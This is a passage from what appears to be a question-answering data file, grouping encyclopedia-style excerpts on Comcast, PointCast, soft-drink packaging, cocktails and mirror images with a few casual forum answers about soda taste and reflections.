multicast.\nThe hope was if enough content providers and users used this service, then more Internet service providers would enable IP multicast natively to their customers.\nCastGate supplied a software client for both", "Cooper asked Comcast and AT&T to carry the network and AT&T did so. Forbes magazine criticized Comcast's decision to not carry the college sports network as violating a fundamental principle of marketing: \"never give your customers a reason to switch.\"", "customers to Locast as a way of circumventing blackouts during carriage disputes. In January 2019, Charter Communications did so in a dispute with Tribune Media, that blocked a playoff football game airing on Fox. In July, AT&T steered customers to Locast as a way for DirecTV customers to get around a blackout of CBS-owned stations. That month, AT&T added the Locast app to its DirecTV and U-verse platforms. Previously, Dish added Locast to its Hopper box. \nBy not paying retransmission fees, Locast threatens to undercut a revenue stream for broadcasters that in 2019 is expected to exceed $10 billion,", "poorly substantiated.\nAs of fall 2019, Comcast is the last major cable provider or streamer to neglect to carry the ACC Network, prompting some customers to consider cutting the cord or switching providers. Forbes magazine criticized the decision to not carry the college sports network as violating a fundamental principle of marketing: \"never give your customers a reason to switch.\" North Carolina Governor Roy Cooper asked Comcast and AT&T to carry the network, after which AT&T did so on their U-Verse cable service.", "of the statements of support. An investigation by The Verge found that some letters of support from state and local level officials were originally written by Comcast employees and forwarded to the FCC with only superficial changes. Opposition The merger of Comcast and Time Warner Cable was widely opposed due to concerns over its impact on the overall market. It was argued that the sheer size of the combined company would reduce competition, would give Comcast an unprecedented level of control over the United States' internet and television industries. It was also argued that the merger would give Comcast increased", "a tactic that allows information and telecommunication companies to regulate network traffic and control network congestion. This type of measure is viewed as a limitation on users’ upload and download speeds (rates) of content. Comcast, one of the major ISPs, conducted bandwidth throttling on 49% of its customers who were using bandwidth for P2P file sharing. After Comcast’s actions were exposed, the Federal Communications Commission (FCC) ordered the company to stop throttling on a large scale. In particular, this form of net bias frequently targets heavy mobile users who consume large amounts of content (packets), like unlimited data plans. Mobile", "documents reveal a pattern of illegally deceiving their customers to pad their bottom line by tens of millions of dollars. The FCC issued a $2.3 million fine to Comcast after finding that the company was charging customers for unordered services and equipment. More than a thousand customers issued complaints about these unprecedented charges to their bill. In addition, numerous customers reported inappropriate name-calling and interrogation by customer service representatives. Comcast’s executive vice president, David Cohen, admitted the company needed to improve their customer service.\nOn August 8, 2016 an official Comcast employee confirmed that Comcast was changing native 1080i channels to", "rules would be extended to Time Warner Cable customers in the event of a merger, Comcast argued the acquisition would be a benefit for consumers. On the other hand, critics noted that the provision expires in January 2018, and questioned Comcast's record of abiding by legal mandates. Television service As of March 31, 2014, Comcast and Time Warner Cable had 22.6 million and 11.2 million video subscribers, respectively. Together, the two companies served about 33% of paid TV customers in the US.\nAfter the announcement of the merger, Comcast considered selling off about 3 million subscribers. This divestiture would bring Comcast's", "the home dial-up Internet connections of the day could provide, and people objected to the large number of advertisements that were pushed over the service as well. Pointcast offered corporations a proxy server that would dramatically reduce the bandwidth used. But even this didn't help save PointCast. A more likely reason than bandwidth was the increasing popularity of \"portal websites\". When PointCast first started Yahoo offered little more than a hierarchical structure on the internet (broken down by subject much like DMOZ) but was soon to introduce the portal which was customizable and offered a much more customizable way to", "shareholders. Sky was delisted on 7 November 2018 after Comcast acquired all remaining shares.\nWhile NBCUniversal and Sky still operate mainly as separate entities within Comcast, following the Sky takeover Comcast has begun the process of integrating some of NBCUniversal's international operations with parts of Sky. Among other moves, NBCUniversal's pay television channels in the United Kingdom will be folded with Sky's, and Sky Deutschland will become the parent company of NBCU's German networks. Preparation of over-the-top streaming service, Peacock On January 14, 2019, NBCUniversal announced that it will launch an over-the-top streaming service to compete with Netflix, Amazon Prime Video,", "PointCast (dotcom) PointCast was a dot-com company founded in 1992 by Christopher R. Hassett in Sunnyvale, California. PointCast Network The company's initial product amounted to a screensaver that displayed news and other information, delivered live over the Internet. The PointCast Network used push technology, which was a hot concept at the time, and received enormous press coverage when it launched in beta form on February 13, 1996.\nThe product did not perform as well as expected, often believed to be because its traffic burdened corporate networks with excessive bandwidth use, and was banned in many places. It demanded more bandwidth than", "had been looking to remove extraneous networks without original programming since the summer of 2016, criteria both Cloo and Esquire fell into. In the end, however, industry media had little to no notice of the closure, and only cable providers learned of its demise in advance on January 31 as of 5:59 a.m. ET from Comcast, due to the small amount of time which passed between Charter's settlement of their new NBCUniversal carriage agreement and the network's closure. Because the network was effectively automated with little to no promotions to maintain, no employees were affected by the network's closure.\nThe same morning,", "46 million, up 15 percent from a year ago, during the Dive into Media conference in Southern California.\nIn June 2014, Microsoft retracted the Xbox Live Gold requirements to download streaming media apps (including Netflix, Hulu, YouTube, Internet Explorer, Skype, and others), though various rental or subscription fees may still apply.\nOn December 25, 2014, both PlayStation Network and Xbox Live suffered network disruption after a denial-of-service attack. Functionality was restored on December 28, with some users experiencing difficulties in the days that followed. A group called, \"The Phantom Squad\" has threatened to disrupt the Xbox Live network through a denial-of-service attack", "ignored. Change in Consumption With the growing effect of streaming sites and online television, there is an upward trend towards OTT (over-the-top) streaming sites, which causes a disruptive effect on cable television. In 2013, 63% of the households in the United States have been using a video streaming and delivery service, and 22% of those households watch Netflix every week of the year. In English Canada, Netflix is owned by 25% of households, and that increases to 33% for households with teens. Having the ability to watch commercial-free episodes at any given time and however and wherever the consumer desires,", "announced they would be available on Hulu Live TV and YouTube TV.\nOn April 11, 2018, Comcast dropped Big Ten Network in a number of \"out-of-market\" states that fall outside of the conference's direct geographical footprint, with other selected markets dropping the network on May 10, 2018. This notably includes the 23,000 Comcast customers in New York, despite the recent addition of Rutgers University in New Jersey having been used to market the conference and BTN in neighboring New York City. Canadian carriage In September 2008, the Canadian Radio-television and Telecommunications Commission approved a request by Shaw Communications to allow carriage", "later on September 26, Comcast spokesperson Joe Waz issued a statement defending the move, stating that it was \"about competition\" and that Comcast SportsNet could help cable television \"distinguish itself from satellite rivals.\" Waz also accused DirecTV of unfairness in wanting to \"profit\" from carrying the channel despite having \"invested zero in improving the quality of programming available to greater Philadelphia\".\nOn January 20, 2010, the FCC Board of Commissioners voted 4-1 to close the \"terrestrial exception\" loophole. Lawyers for DirecTV and Dish Network had attempted to show that Comcast, the dominant cable provider in the Philadelphia market, acted in restraint", "Brian L. Roberts described the deal as a \"perfect fit\" for the company, as Comcast would be able to bolster its role as a creator and distributor of content, with a particular emphasis on \"[the] multiplatform ‘anytime, anywhere’ media that American consumers are demanding\"; increasing access to NBC-owned content through various platforms. The deal would also add Comcast's own cable channels to NBCU's existing suite of cable networks, contributing to 82% of the merged company's total revenue. Despite the focus on cable, Comcast promised to remain committed to over-the-air broadcasting, and promised an increased amount of local news, children's programming," ]

[ "So the obvious reasoning is that the metal or the glass don't react the same as the other with the soda. But both products are the same just in different containers. Coca-Cola INSISTS that they don't taste any different with this quote \"The great taste of Coca-Cola is the same regardless of the package it comes in,\" Also take a look at this \"the polymer that lines aluminum cans might absorb small amounts of soluble flavor from the soda. Conversely, acetaldehyde in plastic bottles might migrate into the soda.\" Hope I was able to be of some help.\n\nSource : _URL_0_", "I'm glad to see this question, am looking for some good science answers. I despise Snapple in plastic bottles. It tastes different.\n\nImagine my horror only a few days ago where all the bottles are the same shape, but are plastic now. With big logos advertising they are plastic. I may never have another Snapple the same way again.", "As for fountain soda, restaurants buy containers of soda syrup, which is mixed with carbonated water when you press the dispenser." ]

[ "the total volume of the drink in many countries and localities if the drink is to be considered non-alcoholic. Fruit punch, tea (even kombucha), and other such non-alcoholic drinks are technically soft drinks by this definition, but are not generally referred to as such. Unsweetened sparkling water may be consumed as an alternative to soft drinks.\nSoft drinks may be served chilled, over ice cubes, or at room temperature, especially soda. They are available in many container formats, including cans, glass bottles, and plastic bottles. Containers come in a variety of sizes, ranging from small bottles to large multi-liter containers. Soft", "were originally a mixture of spirits, sugar, water, and bitters. The term is now often used for almost any mixed drink that contains alcohol, including mixers, mixed shots, etc. A cocktail today usually contains one or more kinds of spirit and one or more mixers, such as soda or fruit juice. Additional ingredients may be sugar, honey, milk, cream, and various herbs. Non-alcoholic drinks A non-alcoholic drink is one that contains little or no alcohol. This category includes low-alcohol beer, non-alcoholic wine, and apple cider if they contain less than 0.5% alcohol by volume. The term \"soft drink\" specifies the", "drinks are widely available at fast food restaurants, movie theaters, convenience stores, casual-dining restaurants, dedicated soda stores, and bars from soda fountain machines. Soft drinks are usually served in paper or plastic disposable cups in the first three venues. In casual dining restaurants and bars, soft drinks are often served in glasses made from glass or plastic. Soft drinks may be drunk with straws or sipped directly from the cups.\nSoft drinks are mixed with other ingredients in several contexts. In Western countries, in bars and other places where alcohol is served (e.g. airplanes, restaurants and nightclubs), many mixed drinks are", "prepared with different ingredients in different towns and cities, meaning that the alcohol content is highly variable. However, a common denominator is the presence of Prosecco and sparkling water, with the remaining being made up from a great variety of alcoholic drinks, sometimes mixed, but with an unwritten rule to preserve the red/orange color of the cocktail. Finally, a slice of lemon, orange or an olive and a few ice cubes are added.", "New York where large cans of the new soda flavors were constructed out of flowers. The bottle The bottles' packaging has maintained the original references to its territory and its first productions. The products on the market can be divided into two categories: glass and PET.\nThe shape of the glass bottles has remained the same since its origin in 1899. The model is called Vichy because at that time San Pellegrino Terme was known as \"the Italian Vichy\", and it is characterized by the elongated shape of the bottle. The red star was a symbol of high quality products exported", "by the addition of aromatic ingredients such as essential oils. Carbonated water is often consumed mixed with fruit juice to make sparkling punches or other cocktails, or infused with flavor by the addition of cut-up fresh fruit or mint leaves. Alcoholic beverages Carbonated water is a diluent mixed with alcoholic beverages where it is used to top-off the drink and provide a degree of 'fizz'.\nAdding soda water to 'short' drinks such as spirits dilutes them and makes them 'long' not to be confused with long drinks such as those made with vermouth. Carbonated water also works well in short drinks", "drinks are made primarily for visual enjoyment rather than taste. They are sipped, sometimes through a silver straw, one liqueur at a time. The drink must be made and handled carefully to avoid mixing; however, some layered drinks, such as shooters, are generally drunk quickly. Preparation The layers must be poured very gently to avoid mixing. They can be poured over the back of a spoon or down a glass rod. Non-alcoholic Latte macchiatos may be prepared as layered drinks.", "and inventor Nathaniel Wyeth first patented PET in 1973 and soda companies soon started using PET to package their drinks. Over the past 20 years or so, PET bottles have become the most common material to package beverages, replacing glass and metal. Especially water and soda was starting to be packaged in PET bottles. This is because PET has certain material properties that make it more favorable than glass or metal cans. Most importantly, PET is lightweight and difficult to break. Further, PET is clear and has \"good barrier properties towards moisture and oxygen\". Because of these qualities, PET has", "least fourteen different flavors with the most traditional being pomegranate, coconut and nuts such as pistachio and almond. Other common flavors include coffee, peanut, tamarind, blackberry, plum, and rompope. The drink has a relatively low alcohol content and is drunk as an aperitif cold or at room temperature. Another beverage is called bate, which is a type of atole served with an ice made with sugar cane.\nAlso facing the main square on opposite sides are the municipal palace and the parish church. The municipal palace dates from the beginning of the 20th century, on which are a clock and the", "the drinker to hold the glass without affecting the temperature of the drink, an important aspect due to the lack of added ice which in other drinks serves to cool the drink, and the wide bowl places the surface of the drink directly under the drinker's nose, ensuring the aromatic element has the desired effect. In the modern day cocktail glasses without stems are common, however, these glasses warm very quickly, a phenomenon the original stem addressed. Martini glass Although the terms 'cocktail glass' and 'martini glass' are often used interchangeably, the former is slightly smaller, more rounded (in contrast", "drinking in public and leaving a bar with a drink, but prohibit public drinking from glass or metal containers.\nThe Poco Grande glass has a similar fluted bowl shape, but is shallower and has a longer stem. It is used for similar drinks as the hurricane glass, but its smaller portion size (about 12 fluid ounces) allows the bartender flexibility in determining the size of the drinks offered and/or the amount of alcohol in the glass.", "cap. These were developed by Crown Cork & Seal (now known as Crown Holdings, Inc.), a leading drink packaging and drink can producer. Various breweries used crowntainers and conetops until the late 1950s, but many breweries kept using the simple cylindrical cans.\nThe popularity of canned drinks was slow to catch on, as the metallic taste was difficult to overcome with the interior liner not perfected, especially with more acidic sodas. Cans had two advantages over glass bottles. First for the distributors, flat-top cans were more compact for transportation and storage and weighed less than bottles. Second for", "Bartending terminology Garnish \"With a twist\" signals the bartender to add a \"twist\" of the zest of a citrus fruit (bar choice, if unspecified) to the cocktail. Often, the bartender will hang the rind of the citrus on the glass as a garnish (see martini photo above). Details Cocktails are generally served chilled, although some (e.g., margaritas) may be served either with or without ice, and this must be specified. Cocktails can be served \"frozen\", which is with crushed ice instead of cubes.\nUnmixed liquors may be served either neat, up, or on the rocks, with differing conventions. High-quality whisky and", "bar or counter that are used in many countries, including Spain, France and the United Kingdom. The term ‘fountain’ helps differentiate from, ‘machine’ cola as the fountain more easily controlled and offers more flavours.\nA soda fountain is also referred to as a postmix machine in some markets. Any brand of soft drink that is available as postmix syrup may be dispensed by a fountain.\nThe term may also refer to a small eating establishment or lunch counter, common from the late 19th century until the mid-20th century, often inside a drugstore or other business, where a soda jerk served carbonated beverages,", "these a ratio of 1 part sweet to 2 parts sour to 8 parts base is generally recommended. However, Embury makes it very clear that he thinks the idea that a drink must be made according to one exact recipe preposterous, and that the final arbiter is always your taste. He suggests trying different ratios, finding the one that is most pleasing to you, and sticking with it.\nOnce one understands the basic components of each type of drink, new cocktails can be created by substituting a different base or modifying agent or by adding a special flavoring or coloring agent.", "Cocktail Usage and related terms The Oxford Dictionaries define cocktail as \"An alcoholic drink consisting of a spirit or spirits mixed with other ingredients, such as fruit juice or cream\".\nA cocktail can contain alcohol, a sugar, and a bitter/citrus. When a mixed drink contains only a distilled spirit and a mixer, such as soda or fruit juice, it is a highball. Many of the International Bartenders Association Official Cocktails are highballs. When a mixed drink contains only a distilled spirit and a liqueur, it is a duo, and when it adds a mixer, it is a trio. Additional", "litre or 4.2 imperial gallons (5.0 US gal) \"bag in box\" soda fountain syrups are one means to obtain name-brand soda instead of SodaStream's generic brand. As these are not concentrates, the standard mix is five parts carbonated water to one part syrup. Fountain syrups are available from vendors such as Sam's Club in the United States or from restaurant supply houses.\nUsers have experimented with various alternative flavours and syrups, including snow cone syrup, concentrates from real fruit juices, powdered drink mixes and home-made or supermarket concoctions. A few small independent vendors offer speciality flavours such as soft drink syrups with", "countries, although Australians of a certain age remember Selza Saline powder in metal tins with lids which had to be opened for each use with the back of a spoon, sold during the 1950s.\nIn the United Kingdom and Canada today, drink mixers sold as soda water or club soda contain bicarbonate of soda, which gives them a specific flavor and differentiates them from carbonated water. It is popularly used for mixed drinks such as whiskey and soda and Campari soda. Soda siphons The soda siphon, or seltzer bottle—a glass or metal pressure vessel with a release valve and spout for", "tricks, the original \"any drink\" where a single container can pour multiple drinks, and the \"endless pour\" in which a seemingly large or continuous amount of liquid is poured from a container that is too small to hold it. Any drink The original method from Hocus Pocus Junior was a single large barrel that is modified with internal baffles to create three sections. A single spigot on one of the flat ends of the barrel is extended with three pipes, one leading into each of the different partitions. The flow is controlled through a bunghole on the top that is", "of the drugstore assistants who operated soda fountains. It was inspired by the \"jerking\" action the server would use to swing the soda fountain handle back and forth when adding the soda water. The soda fountain spigot itself typically was a sturdy, shiny fixture on the end of a pipe or other similar structure protruding above the counter, curving towards where the glasses would be filled. All of the drinks were made with unflavored carbonated water. Consequently, the tap handle was large, as the soda jerker would use it frequently. This made the mixing of drinks a center of activity", "alcoholic drinks. The drink, available in 10 oz., 32 oz. glass bottles and 12 oz. aluminum cans, was legal for all ages and tasted like ginger ale with a slightly beerish aftertaste (ingredients included lemon and lime juice, apple flavor, and ginger). Addressing the alcohol issue A small brochure explaining Chelsea was included with the 4-pack of 10 oz. bottles. On one page of the brochure the alcohol issue was addressed this way:\n\"The not so soft drink is not so ordinary...\n\"The fact is most soft drinks contain a very small amount of alcohol. New Chelsea contains a bit more alcohol", "lemon juice margarita, but when other juices are used, the fruits are typically added as adjectives in the name; with lime juice or lemon juice added to give it a characteristic margarita flavor (a wedge of lime is often added to the glass). Other varieties of margarita include fruit margarita, top-shelf margarita and virgin margarita.\nCoconut cream, coconut milk, and coconut water can also be added to margaritas, e.g. skinny margaritas that substitute, e.g., pineapple juice for liqueurs.\nMargaritas can also be made with vegetables such as carrots, beets, cucumber, and celery. Beer cocktails A beermarita (or Coronarita) is a beer cocktail", "has really caught on. Many liquor companies are coming out with all sorts of versions (different flavors) of their original spirit. With signature drinks it is customary to infuse the liquor yourself, therefore creating a truly remarkable and unique concoction. The use of fruit infused liquors is probably the most widely recognized having such a wide range of fruits to choose from. Also the vibrant colors of individual fruits add to the drink’s personality.\nThe use of herbs to infuse spirits has created an entirely different line of cocktails. These herb-infused drinks tend to be more savory then sweet and lend", "or sealed, but instead poured into unlabeled used bottles. The spirit can be bought wholesale from a brewer or by the glass at boutiques and bars. Although not professionally advertised, the drink is very popular. This is partially due to its price, which is lower than that of other professionally bottled or imported drinks. Its relative cheapness makes it a drink associated more with the poor, but even those who can afford better quality are said to consume the spirit in secret.\nThe potency of the liquor heavily affects the bodily senses, providing a feeling likened to that of a knockout", "Drink can A drink can (or beverage can) is a metal container designed to hold a fixed portion of liquid such as carbonated soft drinks, alcoholic drinks, fruit juices, teas, herbal teas, energy drinks, etc. Drink cans are made of aluminium (75% of worldwide production) or tin-plated steel (25% worldwide production). Worldwide production for all drink cans is approximately 370 billion cans per year worldwide. History The first commercial beer available in cans began in 1935 in Richmond, Virginia. Not long after that, sodas, with their higher acidity and somewhat higher pressures, were available in cans. The key development for", "specific wine for each course. Presentation Different drinks have unique receptacles for their consumption. This is sometimes purely for presentations purposes, such as for cocktails. In other situations, the drinkware has practical application, such as coffee cups which are designed for insulation or brandy snifters which are designed to encourage evaporation but trap the aroma within the glass.\nMany glasses include a stem, which allows the drinker to hold the glass without affecting the temperature of the drink. In champagne glasses, the bowl is designed to retain champagne's signature carbonation, by reducing the surface area at the opening of the bowl.", "say objectively that two bottles of wine from two wineries are \"sufficiently interchangeable,\" because of differences in yeast strain, weather, and year of grape harvest, than it is to say that two bottles of soda pop of the same flavor coming from two bottling plants are \"sufficiently interchangeable\" because they contain the same flavoring powder.\nDrug-related authorities such as the EU's European Medicines Agency (EMA), the US's Food and Drug Administration (FDA), and the Health Products and Food Branch of Health Canada hold their own guidance on requirements for demonstration of the similar nature of two biological products in terms of", "variant of the beverage based on cherry cola. Packaging BAWLS Guarana is bottled in blue 10-ounce glass bottles with a bumpy texture. According to Buppert, the bumps around the bottle were meant to represent \"bouncing balls inside the bottle punching their way out\".\nThe drink is also packaged in 16-ounce cans. Buppert states that the introduction of cans in 2006 happened through their relationship with the paintball community, who had issues with glass bottles. In an effort to create a unique design reminiscent of the bottles, foaming ink is applied to each can to create a tactile, bumpy pattern. To", "Soda fountain A soda fountain is a device that dispenses carbonated soft drinks, called fountain drinks. They can be found in restaurants, concession stands and other locations such as convenience stores. The device combines flavored syrup or syrup concentrate and carbon dioxide with chilled and purified water to make soft drinks, either manually, or in a vending machine which is essentially an automated soda fountain that is operated using a soda gun. Today, the syrup often is pumped from a special container called a bag-in-box (BiB).\nFountain coke is a often confused term normally referring to a handheld dispenser behind a", "(especially in Croatia) Bambus.\nIn Spain, the combination of red wine and lemonade is known as Tinto de verano.\nIn the Basque country, a popular drink is kalimotxo, a combination of red wine and cola.\nIn Great Britain, red or white wine mixed with lemonade or carbonated water has been well known since the 1980s as a spritzer. In the United States, similar drinks are known as wine coolers. Mixing with Juice Schorle with juice, also known as \"fruit schorle\" or \"fruit juice schorle\", is a mixture of, in most cases, carbonated water and fruit juice. Because of its massive popularity, drink manufacturers" ]

[ "Because you're used to seeing your reflection, so when you see the opposite it just looks wrong.\n\nPeople you know prefer the actual instead of the mirror image of you because that's what they're used to seeing." ]

[ "if one looks further and further downwards, the shidaidaka would steadily become smaller, and then disappear. In Sakurae, Ōchi District, Shimane Prefecture (now Gōtsu), in a place called Kawato, when a shidaidaka appears, one must never look at it from beneath one's thighs. It is a type of mikoshi-nyūdō, and is thus of the same type as the taka-nyūdō, the nyūdō-bōzu, the nobiagari, etc.\nAccording to a folktale in Hazumi, Ōchi, Shimane Prefecture, it is said that when one goes out on a hunt, whatever spoils one gets, it is best to leave at least one last bullet to prepare for", "its other end, is attached to a loop on top of the head of the figure. On a sharply pointed nail, protruding approximately .2 inches (5 mm) from the sole of the right foot of the figure, Wackel-Elvis stands on top of the dashboard or rear cargo cover. With the vehicle in motion, the left arm stretched away from the body of the figure produces centrifugal force, causing the figure to spin back and forth around its vertical axis. While spinning, the foot of the figure is held in place by the nail and its head held in place being suspended", "flat-topped angular head and bolts on his neck to serve as electrical connectors or grotesque electrodes. He wears a dark, usually tattered, suit having shortened coat sleeves and thick, heavy boots, causing him to walk with an awkward, stiff-legged gait (as opposed to the novel, in which he is described as much more flexible than a human). The tone of his skin varies (although shades of green or gray are common), and his body appears stitched together at certain parts (such as around the neck and joints). This image has influenced the creation of other fictional characters, such as the", "them, would become left-handed when a series is flipped. Flipping may also cause oddities with familiar asymmetrical objects or layouts, such as a car being depicted with the gas pedal on the left and the brake on the right, or a shirt with the buttons on the wrong side, but these issues are minor when compared to the unnatural reading flow, and some of them could be solved with an adaptation work that goes beyond just translation and blind flipping. Europe Manga has influenced European cartooning in a way that is somewhat different from in the U.S. Broadcast anime in", "is deliberately inverted so that people slowly discern that something is 'not quite right' with the picture, and come to notice that it is upside down.", "often ends with at least one of them (including Judge Rummy) being upside down and showing only the feet (as shown in the strip above).\nHe had a minor role in an earlier strip in which his best friend was the protagonist, but later strips began focusing on him.\nHis wife is an obese lady who is four times his size. Whenever Judge Rummy dates a woman other than her or does something she finds unfavorable, the hefty wife would resort to brawling and roughing him up. Unlike other characters in the strip, she calls him either by his real name or", "spin direction is maintained, but the spin direction is opposite in relation to the spinner's starting position.\nWaist Wrap refers to a type of fountain, often performed in a wall plane fashion by which the spinner moves his or her hand from one side of the body to the other by either reaching around the front, spinning behind him or herself, or from behind the back, spinning in front of him or herself. Thru-Wraps Thru-wrap - refer to a class of tricks in which the poi wrap with a body part or with each other in such a manner as to", "one edge to the other. Jokesters often took advantage of this by getting on the end of the line of people being photographed and then running behind the group of people and standing on the other end of the line so that they show up on both ends of the resulting picture.", "body and the viewer (that is, in the foreground of the picture, in which case she would be circling counterclockwise on her right foot) and it is also possible to view her arms as passing behind the dancer's body (that is, in the background of the picture, in which case she is seen circling clockwise on her left foot).\nWhen she is facing to the left or to the right, her breasts and ponytail clearly define the direction she is facing, although there is ambiguity in which leg is which. However, as she moves away from facing to the left", "been likened to the selfie stick appears in the 1969 Czechoslovak sci-fi film I Killed Einstein, Gentlemen. One character holds a silver stick in front of herself and another character, smiles at the end of the stick as it produces a camera flash, and immediately unfurls a printed photograph of the pair from the stick's handle.\nThe 1983 Minolta Disc-7 camera had a convex mirror on its front to allow the composition of self-portraits, and its packaging showed the camera mounted on a stick while used for such a purpose. A \"telescopic extender\" for compact handheld cameras was patented by", "a square look. The fold goes over one arm the edges going over the other arm are partially sewn, leaving space for the head to pass. A variation on this is two squares of fabric with the arm/shoulder seams sewn, leaving a neck opening. Another variation which is rare is made from a single rectangle from which a smaller rectangle has been cut. Then folded over, the two narrowest edges are sewn. It is worn with points hanging off the shoulders.", "not voluntarily; this effect is brought on by putting a prism in front of one eye, so the relevant image is apparently displaced. To avoid double vision from non-corresponding points, the eye with the prism must move up or down, following the image passing through the prism. Likewise conjugate torsion (rolling) on the anteroposterior axis (from the front to the back) can occur naturally, such as when one tips one's head to one shoulder; the torsion, in the opposite direction, keeps the image vertical.\nThe muscles show little inertia - a shutdown of one muscle is not due to checking of", "the Dipper (the third corner in the sequence), is a sharp left hand corner so named because, before safety changes were made, there was a dip in the road surface and a steep drop not far from the edge of the road, and many cars were able to get two wheels off of the ground, which has often been compared to the Corkscrew at Laguna Seca. Chaz Mostert had a severe accident in the Esses during qualifying for the Great Race in 2015. Mostert clipped the inside wall on the run down to Forrest's Elbow, ricocheting the car into the", "showed it to Searchlight who really liked it and thought it was great, but some lady over there was like \"There are some hangnails or something — the hands look kinda gross! It's really bothering me, can we re-shoot some of those? We'll send you guys a hand model.\" We were like \"WHAT?!\". This, of course, was my first interaction with a studio at all, so they flew out a hand model a couple weeks later, who had great hands but was five or six shades darker than Jon Heder. So we reshot, but they're now intermixed, so if you", "from looking down an optic axis, a flash figure may be seen - a higher order birefringence colour, interrupted four times as the stage is rotated through 360 degrees by \"flashes\" of black which sweep across the field of view. Characteristic figures of uniaxial and biaxial minerals An interference figure produced looking straight down or close to the optic axis of a uniaxial mineral will show a characteristic \"Maltese\" cross shape to its isogyres. If you are looking perfectly down the optic axis, the pattern will remain completely unchanging as the stage is rotated. However, if the viewing angle is", "in most conventional bobblehead dolls, not the head of the figure nods or wobbles on an otherwise static figure. Instead, the Wackel-Elvis figure is suspended from an elastic band connected to a suction cup attached to the windshield or rear window of a vehicle. The waist and left shoulder of the figure are equipped with flexible metal spring joints while its right foot stands on a pointed nail. This design prompts the figure to swing its hips, pivot around its vertical axis and shake its left arm up and down while the vehicle is in motion, creating an effect that", "the human form with emphasis on the face, which express emotions, the soul and psychological conditions, always with humor and irony. He states that “Every wink, every wrinkle expresses something and nothing is gratuitous; the face is the facade of who we are; the rest of the body is a cover and the face is the business card, a tool with rich expression without equal which permits an artist to express the emotions of being; a look, a wrinkle, the face expresses the feelings of the soul. His faces can be somewhat androgynous but he almost never depicts women in", "the right, stops next to the letter \"I\" in \"PIXAR\", and jumps on it until he has completely squashed it down, as he did to his rubber ball in the short. He then looks around to check if the letter had been squashed down, as the text \"Animation Studios\" fades in, then angles his head toward the camera; at this point, all the light typically fades to black except for his head, which goes out with a click after a moment. Occasionally, the head fades in time with the light—this is usually the case when the logo appears right before", "the stick arrives at one's eye in a crooked pattern, but this appearance is not necessarily a sense-datum in the mind. Similar things can be said about the coin which appears circular from one vantage point and oval-shaped from another. Pressing on your eyeball with a finger creates double vision but assuming the existence of two sense-data is unnecessary: the direct realist can say that they have two eyes, each giving them a different view of the world. Usually the eyes are focused in the same direction; but sometimes they are not.\nHowever, this response is presumably based on previously observed", "to November 2006).\nAt times a character may \"turn\", altering their face/heel alignment. This may be an abrupt, surprising event, or it may slowly build over time. It is almost always accomplished with a markable change in behavior. Some turns become defining points in a career, as when Hulk Hogan turned heel after being a top face for over a decade. Others may have no noticeable effect on the character's status. If a character repeatedly switches between face and heel, this lessens the effect of such turns, and may result in apathy from the audience. Vince McMahon is a good example", "on the right, in a fairly similar pose, but leaning from left to right as in the final picture. The arm to the left was raised above her head in a similar fashion, but the other arm more or less horizontal, and the head presumably looking to the centre. There is a drawing by Anthony van Dyck from his Italian sketchbook (now Chatsworth House) recording such a figure, probably copying a lost drawing by Titian, a rarity by this stage in his career.\nWhen Andromeda was moved to the left of the painting her pose was different from the", "Frontside and backside Frontside and backside are surfing, skateboarding, snowboarding and aggressive inline skating terms that are used to describe how a person approaches an obstacle or performs a certain trick. In Aggressive Skating, frontside and backside are types of grinds.\nFrontside and backside indicate either the front or back of the rider under the following circumstances: Regardless of which board sport you are referring to, if the rider is not spinning it indicates which side is facing the \"wave\" on approach. This can be many things, rail, pipe wall, or slope/implied slope. If the rider is spinning it", "are flipped over, the force of the flip sends their shorts to their ankles, and their bare bottoms turn bright red as they are soundly spanked. Practical tells them \"Remember, this hurts me worse than it does you\", but much to his chagrin, the machine takes him literally and also gives him a spanking as the cartoon ends. Comic adaptation The Silly Symphony Sunday comic strip ran a three-month-long adaptation of The Practical Pigfrom May 1 to August 7, 1938. Home video The short was released on the 2001 Walt Disney Treasures DVD box set Silly Symphonies, via an easter", "left arm is raised to cover his face and his right arm is behind his back, held by a chain which is not visible. The figure is among the most complete of the group and shows clear definition in his legs, torso (especially on the left hand side) and his arms. His hands and head are less worked, while the back is completely unsculpted. The whole surface gives clear traces of the chisels and scrapers used in the sculpting process.\nBecause of its unfinished state it has an extraordinary energy (already noted by Bocchi in 1591), which connects the figure to", "up like a Slinky.\n4. With these newer cartoons come more ludicrous products, such as ACME Instant Road, which Wile E. rolls out across an arch and down the straight slope in an effort to get the Road Runner to follow him, until he runs out of road and he is left staring at the ground. He can only display a sign that says \"In heaven's name - what am I doing?\" (seen in a previous cartoon as well, but in distinctly older style) before he is overtaken by gravity and displays a \"BYE!\" sign.\n5. Returning to conventional chasing and gags,", "Symphonie diagonale Plot summary A tilted figure, consisting largely of right angles at the beginning, grows by accretion, with the addition of short straight lines and curves which sprout from the existing design. The figure vanishes and the process begins again with a new pattern, each cycle lasting one or two seconds. The complete figures are drawn in a vaguely Art Deco style and could be said to resemble any number of things, an ear, a harp, panpipes, a grand piano with trombones, and so on, only highly stylized. The tone is playful and hypnotic.", "claims that \"A round bottom indicates the person is open, happy and optimistic in life. However, a flat bottom suggests the person is rather vain and is negative and sad.\"\nRumpology can be performed either by sight, touch or by using buttock prints. In addition to live readings, Jackie Stallone will perform buttock readings using e-mailed digital photographs, and has claimed to predict the outcome of Presidential elections and Oscar awards by reading the bottoms of her two pet Doberman Pinschers. Ulf Buck claims he can read people's futures by feeling their naked buttocks. Criticism Upon learning about a TV show", "tapered (conical) parts, where \"run-out\" (noun) refers to any imperfection of form that causes a rotating part such as a shaft to \"run out\" (verb), that is, to not rotate with perfect smoothness. These conditions include being out-of-round (that is, lacking sufficient roundness); eccentricity (that is, lacking sufficient concentricity); or being bent axially (regardless of whether the surfaces are perfectly round and concentric at every cross-sectional point). The purpose of emphasizing the \"total\" in TIR was to duly maintain the distinction between per-side differences and both-sides-considered differences, which requires perennial conscious attention in lathe work. For example, all depths of", "right.) Because the yarn holding rows together is all on the front, and the yarn holding side-by-side stitches together is all on the back, stockinette fabric has a strong tendency to curl toward the front on the top and bottom, and toward the back on the left and right side.\nStitches can be worked from either side, and various patterns are created by mixing regular knit stitches with the \"wrong side\" stitches, known as purl stitches, either in columns (ribbing), rows (garter, welting), or more complex patterns. Each fabric has different properties: a garter stitch has much more vertical", "club's loft (i.e., angle between the clubface and a vertical plane). A backspinning ball experiences an upward lift force which makes it fly higher and longer than a ball without spin.\nSidespin occurs when the clubface is not aligned perpendicularly to the intended direction of swing or ball-to-target line, leading to a lift force that makes the ball curve to one side or the other based on the direction of where the clubface is pointing at impact. The dimples 